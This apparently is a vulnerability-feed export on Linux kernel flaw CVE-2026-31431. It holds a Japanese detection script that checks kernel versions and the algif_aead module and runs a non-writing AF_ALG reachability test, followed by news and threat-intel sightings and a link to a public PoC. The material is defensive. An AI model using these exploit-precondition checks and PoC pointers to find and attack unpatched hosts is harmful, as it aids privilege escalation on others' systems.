\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"2. \u30ab\u30fc\u30cd\u30eb\u30d0\u30fc\u30b8\u30e7\u30f3\u30c1\u30a7\u30c3\u30af\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n# Linux \u4ee5\u5916\u306f\u30b9\u30ad\u30c3\u30d7\nif [[ \"$(uname -s)\" != \"Linux\" ]]; then\n    ok \"Linux \u3067\u306f\u3042\u308a\u307e\u305b\u3093 \u2014 CVE-2026-31431 \u306e\u5bfe\u8c61\u5916\u3067\u3059\u3002\"\n    exit 0\nfi\n\n# \u30ab\u30fc\u30cd\u30eb\u304c 4.14 \u3088\u308a\u53e4\u3044\u5834\u5408\u306f\u30d0\u30b0\u81ea\u4f53\u304c\u672a\u5c0e\u5165\nif ! ver_ge \"$KERNEL_VER\" \"4.14.0\"; then\n    ok \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 4.14 \u672a\u6e80 \u2192 \u8106\u5f31\u306a\u30b3\u30fc\u30c9\u304c\u5b58\u5728\u3057\u307e\u305b\u3093 (\u5bfe\u8c61\u5916)\"\n    OVERALL=0\n# 6.20 \u4ee5\u964d\u306f\u4fee\u6b63\u6e08\u307f\nelif ver_ge \"$KERNEL_VER\" \"6.20.0\"; then\n    ok \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 6.20 \u4ee5\u964d \u2192 \u4fee\u6b63\u6e08\u307f\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3059\"\n    OVERALL=0\n# 6.19.x \u306e\u78ba\u8a8d\nelif [[ \"$KERNEL_MAJOR\" -eq 6 && \"$KERNEL_MINOR\" -eq 19 ]]; then\n    if ver_ge \"$KERNEL_VER\" \"6.19.12\"; then\n        ok \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 6.19.12 \u4ee5\u964d \u2192 \u4fee\u6b63\u6e08\u307f\u3067\u3059\"\n        OVERALL=0\n    else\n        fail \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 6.19.12 \u672a\u6e80 \u2192 \u8106\u5f31\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3059\uff01\"\n        VULN_VERSION=1; OVERALL=1\n    fi\n# 6.18.x \u306e\u78ba\u8a8d\nelif [[ \"$KERNEL_MAJOR\" -eq 6 && \"$KERNEL_MINOR\" -eq 18 ]]; then\n    if ver_ge \"$KERNEL_VER\" \"6.18.22\"; then\n        ok \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 6.18.22 \u4ee5\u964d \u2192 \u4fee\u6b63\u6e08\u307f\u3067\u3059\"\n        OVERALL=0\n    else\n        fail \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 6.18.22 \u672a\u6e80 \u2192 \u8106\u5f31\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3059\uff01\"\n        VULN_VERSION=1; OVERALL=1\n    fi\n# 4.14 \u301c 6.17.x \u306f\u3059\u3079\u3066\u8106\u5f31 (\u4fee\u6b63\u306f 6.18.22 / 6.19.12 \u7cfb\u306e\u307f)\nelse\n    fail \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f\u8106\u5f31\u306a\u7bc4\u56f2 (4.14\u301c6.18.21) \u306b\u8a72\u5f53\u3057\u307e\u3059\uff01\"\n    VULN_VERSION=1; OVERALL=1\nfi\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"3. algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u72b6\u614b\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n# \u30ed\u30fc\u30c9\u6e08\u307f\u304b\u3069\u3046\u304b\nif lsmod 2>/dev/null | grep -q '^algif_aead'; then\n    warn \"algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u304c\u73fe\u5728\u30ed\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3059\"\n    AFALG_REACHABLE=1\n    [[ \"$OVERALL\" -eq 0 ]] && OVERALL=2\nelse\n    ok \"algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u73fe\u5728\u30ed\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u305b\u3093\"\nfi\n\n# \u30e2\u30b8\u30e5\u30fc\u30eb\u30d5\u30a1\u30a4\u30eb\u304c\u5b58\u5728\u3059\u308b\u304b (\u30ed\u30fc\u30c9\u53ef\u80fd\u304b)\nMODULE_PATH=$(find /lib/modules/\"$(uname -r)\" -name 'algif_aead.ko*' 2>/dev/null | head -1)\nif [[ -n \"$MODULE_PATH\" ]]; then\n    info \"\u30e2\u30b8\u30e5\u30fc\u30eb\u30d5\u30a1\u30a4\u30eb\u304c\u5b58\u5728: ${MODULE_PATH}\"\nelse\n    ok \"algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u30d5\u30a1\u30a4\u30eb\u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093 (\u30ab\u30fc\u30cd\u30eb\u306b\u7d44\u307f\u8fbc\u307f or \u524a\u9664\u6e08\u307f)\"\nfi\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"4. AF_ALG \u30bd\u30b1\u30c3\u30c8 / AEAD \u30a2\u30eb\u30b4\u30ea\u30ba\u30e0 \u5230\u9054\u6027\u30c6\u30b9\u30c8\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n# PoC \u304c\u5fc5\u8981\u3068\u3059\u308b\u524d\u63d0\u6761\u4ef6\u3092\u300c\u66f8\u304d\u8fbc\u307f\u306a\u3057\u300d\u3067\u78ba\u8a8d\u3059\u308b\u5b89\u5168\u306a\u30c6\u30b9\u30c8\n# (\u5b9f\u969b\u306e\u30b9\u30d7\u30e9\u30a4\u30b9/\u66f8\u304d\u8fbc\u307f\u306f\u884c\u308f\u306a\u3044)\n\nif ! command -v python3 &>/dev/null; then\n    warn \"python3 \u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093 \u2014 AF_ALG \u5230\u9054\u6027\u30c6\u30b9\u30c8\u3092\u30b9\u30ad\u30c3\u30d7\u3057\u307e\u3059\"\nelse\n    info \"AF_ALG / AEAD \u5230\u9054\u6027\u3092 Python \u3067\u78ba\u8a8d\u4e2d...\"\n    PYTHON_RESULT=$(python3 - <<'PYEOF' 2>&1; true\nimport socket, errno, sys\n\nPF_ALG   = 38\nSOCK_SEQ = 5   # SOCK_SEQPACKET\nALG_SET_KEY  = 1\nALG_SET_IV   = 2\nALG_SET_OP   = 3\n\n# \u2500\u2500 Step 1: AF_ALG \u30bd\u30b1\u30c3\u30c8\u4f5c\u6210 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ntry:\n    s = socket.socket(PF_ALG, SOCK_SEQ, 0)\nexcept (OSError, AttributeError) as e:\n    print(f\"AF_ALG_UNREACHABLE: {e}\")\n    sys.exit(0)\n\nprint(\"AF_ALG_REACHABLE\")\n\n# \u2500\u2500 Step 2: authencesn(hmac(sha256),cbc(aes)) \u30d0\u30a4\u30f3\u30c9 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nimport struct\n\n# struct sockaddr_alg: sa_family(2), type(14), feat(4), mask(4), name(64), key(32)\nALG_TYPE = b\"aead\\x00\"           + b\"\\x00\" * (14 - len(b\"aead\\x00\"))\nALG_NAME = b\"authencesn(hmac(sha256),cbc(aes))\\x00\"\nALG_NAME += b\"\\x00\" * (64 - len(ALG_NAME))\nsa = struct.pack(\"H\", PF_ALG) + ALG_TYPE + struct.pack(\"II\", 0, 0) + ALG_NAME + b\"\\x00\" * 32\n\ntry:\n    s.bind(sa)\n    print(\"AEAD_ALG_REACHABLE\")\nexcept OSError as e:\n    if e.errno in (errno.ENOENT, errno.EAFNOSUPPORT, errno.EINVAL, errno.ENOBUFS):\n        print(f\"AEAD_ALG_UNREACHABLE: {e}\")\n    else:\n        print(f\"AEAD_ALG_BIND_ERROR: {e}\")\nfinally:\n    s.close()\nPYEOF\n)\n\n    echo \"$PYTHON_RESULT\" | while IFS= read -r line; do\n        case \"$line\" in\n            AF_ALG_UNREACHABLE*)\n                ok \"AF_ALG \u30bd\u30b1\u30c3\u30c8: \u5230\u9054\u4e0d\u53ef (${line#*: }) \u2192 \u653b\u6483\u6761\u4ef6\u3092\u6e80\u305f\u3057\u307e\u305b\u3093\"\n                ;;\n            AF_ALG_REACHABLE)\n                warn \"AF_ALG \u30bd\u30b1\u30c3\u30c8: \u5230\u9054\u53ef\u80fd\"\n                AFALG_REACHABLE=1\n                ;;\n            AEAD_ALG_REACHABLE)\n                fail \"authencesn(hmac(sha256),cbc(aes)) \u30a2\u30eb\u30b4\u30ea\u30ba\u30e0: \u5229\u7528\u53ef\u80fd \u2192 \u60aa\u7528\u6761\u4ef6\u304c\u63c3\u3063\u3066\u3044\u307e\u3059\uff01\"\n                AEAD_REACHABLE=1\n                ;;\n            AEAD_ALG_UNREACHABLE*)\n                ok \"AEAD \u30a2\u30eb\u30b4\u30ea\u30ba\u30e0: \u5229\u7528\u4e0d\u53ef (${line#*: }) \u2192 \u60aa\u7528\u6761\u4ef6\u3092\u6e80\u305f\u3057\u307e\u305b\u3093\"\n                ;;\n            AEAD_ALG_BIND_ERROR*)\n                warn \"AEAD \u30a2\u30eb\u30b4\u30ea\u30ba\u30e0: \u30d0\u30a4\u30f3\u30c9\u30a8\u30e9\u30fc (${line#*: })\"\n                ;;\n        esac\n    done\nfi\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"5. \u30ab\u30fc\u30cd\u30eb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a (\u8efd\u6e1b\u7b56)\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n# unprivileged user namespace (\u653b\u6483\u7d4c\u8def\u306e\u4e00\u3064)\nif [[ -r /proc/sys/kernel/unprivileged_userns_clone ]]; then\n    val=$(cat /proc/sys/kernel/unprivileged_userns_clone)\n    if [[ \"$val\" -eq 0 ]]; then\n        ok \"unprivileged_userns_clone = 0 \u2192 \u975e\u7279\u6a29\u30e6\u30fc\u30b6\u30fc\u540d\u524d\u7a7a\u9593\u306f\u7121\u52b9\"\n    else\n        warn \"unprivileged_userns_clone = 1 \u2192 \u975e\u7279\u6a29\u30e6\u30fc\u30b6\u30fc\u540d\u524d\u7a7a\u9593\u304c\u6709\u52b9\u3067\u3059\"\n    fi\nfi\n\nif [[ -r /proc/sys/user/max_user_namespaces ]]; then\n    val=$(cat /proc/sys/user/max_user_namespaces)\n    if [[ \"$val\" -eq 0 ]]; then\n        ok \"max_user_namespaces = 0 \u2192 \u30e6\u30fc\u30b6\u30fc\u540d\u524d\u7a7a\u9593\u306f\u7121\u52b9\"\n    else\n        info \"max_user_namespaces = ${val}\"\n    fi\nfi\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"6. \u7d50\u679c\u30b5\u30de\u30ea\u30fc\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\necho \"\"\necho -e \"  \u30ab\u30fc\u30cd\u30eb       : ${KERNEL_FULL}\"\necho -e \"  \u8106\u5f31\u30d0\u30fc\u30b8\u30e7\u30f3 : $([ \"$VULN_VERSION\" -eq 1 ] && echo \"${RED}YES${RESET}\" || echo \"${GREEN}NO${RESET}\")\"\necho -e \"  AF_ALG \u5230\u9054\u6027  : $([ \"$AFALG_REACHABLE\" -eq 1 ] && echo \"${YELLOW}\u5230\u9054\u53ef\u80fd${RESET}\" || echo \"${GREEN}\u5230\u9054\u4e0d\u53ef${RESET}\")\"\necho -e \"  AEAD \u5229\u7528\u53ef\u5426  : $([ \"$AEAD_REACHABLE\" -eq 1 ] && echo \"${RED}\u5229\u7528\u53ef\u80fd${RESET}\" || echo \"${GREEN}\u5229\u7528\u4e0d\u53ef${RESET}\")\"\necho \"\"\n\nif [[ \"$VULN_VERSION\" -eq 1 && \"$AEAD_REACHABLE\" -eq 1 ]]; then\n    echo -e \"${RED}${BOLD}\u26a0  \u7dcf\u5408\u5224\u5b9a: \u8106\u5f31 (CVE-2026-31431 \u306e\u653b\u6483\u6761\u4ef6\u304c\u63c3\u3063\u3066\u3044\u307e\u3059)${RESET}\"\n    echo \"\"\n    echo \"  \u3010\u63a8\u5968\u5bfe\u5fdc\u3011\"\n    echo \"    1. \u30ab\u30fc\u30cd\u30eb\u3092\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8:\"\n    echo \"       - 6.18.x\u7cfb \u2192 6.18.22 \u4ee5\u4e0a\"\n    echo \"       - 6.19.x\u7cfb \u2192 6.19.12 \u4ee5\u4e0a\"\n    echo \"       - \u30c7\u30a3\u30b9\u30c8\u30ed\u30d1\u30c3\u30b1\u30fc\u30b8\u4f8b:\"\n    echo \"           Ubuntu: sudo apt update && sudo apt upgrade linux-image-generic\"\n    echo \"           RHEL:   sudo dnf update kernel\"\n    echo \"           Amazon Linux: sudo yum update kernel\"\n    echo \"    2. \u66ab\u5b9a\u63aa\u7f6e: algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u30d6\u30ed\u30c3\u30af\"\n    echo \"       echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/block-algif-aead.conf\"\n    echo \"       sudo update-initramfs -u   # (Ubuntu/Debian)\"\n    echo \"    3. \u518d\u8d77\u52d5\u5f8c\u306b\u672c\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u518d\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002\"\nelif [[ \"$VULN_VERSION\" -eq 1 ]]; then\n    echo -e \"${YELLOW}${BOLD}\u25b3  \u7dcf\u5408\u5224\u5b9a: \u8981\u6ce8\u610f (\u30d0\u30fc\u30b8\u30e7\u30f3\u306f\u8106\u5f31\u3067\u3059\u304c AEAD \u306f\u73fe\u6642\u70b9\u3067\u306f\u5230\u9054\u4e0d\u53ef)${RESET}\"\n    echo \"     \u30ab\u30fc\u30cd\u30eb\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u63a8\u5968\u3057\u307e\u3059\u3002\"\nelse\n    echo -e \"${GREEN}${BOLD}\u2714  \u7dcf\u5408\u5224\u5b9a: \u5bfe\u7b56\u6e08\u307f / \u5bfe\u8c61\u5916${RESET}\"\n    echo \"     \u3053\u306e\u30b7\u30b9\u30c6\u30e0\u306f CVE-2026-31431 \u306e\u5f71\u97ff\u3092\u53d7\u3051\u307e\u305b\u3093\u3002\"\nfi\n\necho \"\"\necho \"  \u53c2\u8003:\"\necho \"    NVD    : https://nvd.nist.gov/vuln/detail/CVE-2026-31431\"\necho \"    Sysdig : https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw\"\necho \"    PoC    : https://github.com/theori-io/copy-fail-CVE-2026-31431 (Theori \u516c\u5f0f)\"\necho \"\"", "creation_timestamp": "2026-05-12T05:02:30.000000Z"}, {"uuid": "0834593e-3c17-486a-8d2d-f9e754c6a532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mlne2qg4fl72", "content": "Copy Fail and Dirty Frag: Linux Page-Cache Exploits Target Every Major Distribution Two recent Linux kernel vulnerabilities have been disclosed: Copy Fail (CVE-2026-31431) on April 29, 2026, and Di...\n\n#Linux #Security #Vulnerabilities #DevOps #news\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-12T08:18:21.694131Z"}, {"uuid": "0ab5d1b8-3ba4-4961-b430-d7989880ebfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83900", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gbonacini\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-12 07:57:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA CVE-2026-31431 (aka Copyfail) implementation in c++ and assembly\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-12T08:00:04.000000Z"}, {"uuid": "66a829fa-231c-4b7b-adab-10f90cd18da7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/kasperskyb2b/2165", "content": "\ud83d\ude35\u200d\ud83d\udcab \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\ude08 \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0430\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u0430 DAEMON Tools \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a. \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a\u0438 \u0441 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430, \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0432\u0435\u043d\u0434\u043e\u0440\u0430, \u0437\u0430\u0440\u0430\u0437\u0438\u043b\u0438 \u0442\u044b\u0441\u044f\u0447\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0412\u041f\u041e \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0436\u0435\u0440\u0442\u0432. \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 (\u0433\u043e\u0441\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440, \u043d\u0430\u0443\u0447\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0438 \u0442\u043e\u0440\u0433\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u0438 \u0438 \u0422\u0430\u0438\u043b\u0430\u043d\u0434\u0435) \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u044d\u0442\u0430\u043f \u0430\u0442\u0430\u043a\u0438 \u2014 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u043d\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440, \u0430 \u0432 \u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u2014 \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u0412\u041f\u041e QUIC RAT.\n\n\u2744\ufe0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0442\u0435\u0445\u043d\u0438\u043a \u0438 \u0442\u0430\u043a\u0442\u0438\u043a \u0433\u0440\u0443\u043f\u043f\u044b UAT-8302, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0433\u043e\u0441\u043e\u0440\u0433\u0430\u043d\u044b \u0432 \u042e\u0436\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435 \u0438 \u0415\u0432\u0440\u043e\u043f\u0435. \u0412 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0432\u0445\u043e\u0434\u044f\u0442 \u0431\u044d\u043a\u0434\u043e\u0440\u044b NetDraft \u0438 \u0445\u043e\u0440\u043e\u0448\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043d\u0430\u043c CloudSorcerer, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u043e\u0432\u043e\u0435 \u0412\u041f\u041e SNOWRUST.\n\n\ud83e\udeb7 \u0420\u0430\u0437\u0431\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 APT OceanLotus, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b\u0438 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0435 \u0430\u0440\u0445\u0438\u0432\u044b Python (wheels), \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0432 PyPI. \u0427\u0435\u0440\u0435\u0437 \u044d\u0442\u043e\u0442 \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u0438\u043c\u043f\u043b\u0430\u043d\u0442 ZiChatBot, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 Zulip REST API \u043a\u0430\u043a \u043a\u0430\u043d\u0430\u043b \u04212. ZiChatBot \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u043e\u0434 Windows \u0438 Linux \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0448\u0435\u043b\u043b\u043a\u043e\u0434. \u0412 \u0446\u0435\u043b\u043e\u043c \u044d\u0442\u0430 APT \u043f\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0410\u0437\u0438\u0438, \u0430 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 PyPI \u0434\u0430\u0451\u0442 \u0435\u0439 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u043e\u0445\u0432\u0430\u0442.\n\n\ud83d\udfe2\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Lazarus \u0441\u0434\u0435\u043b\u0430\u043b\u0438  \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0434\u043b\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 Contagious Interview \u0431\u043e\u043b\u0435\u0435 \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u043c\u0438. \u0425\u0443\u043a\u0438 \u0432 \u00ab\u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u0445\u00bb \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0440\u0443\u0442\u0438\u043d\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445 git 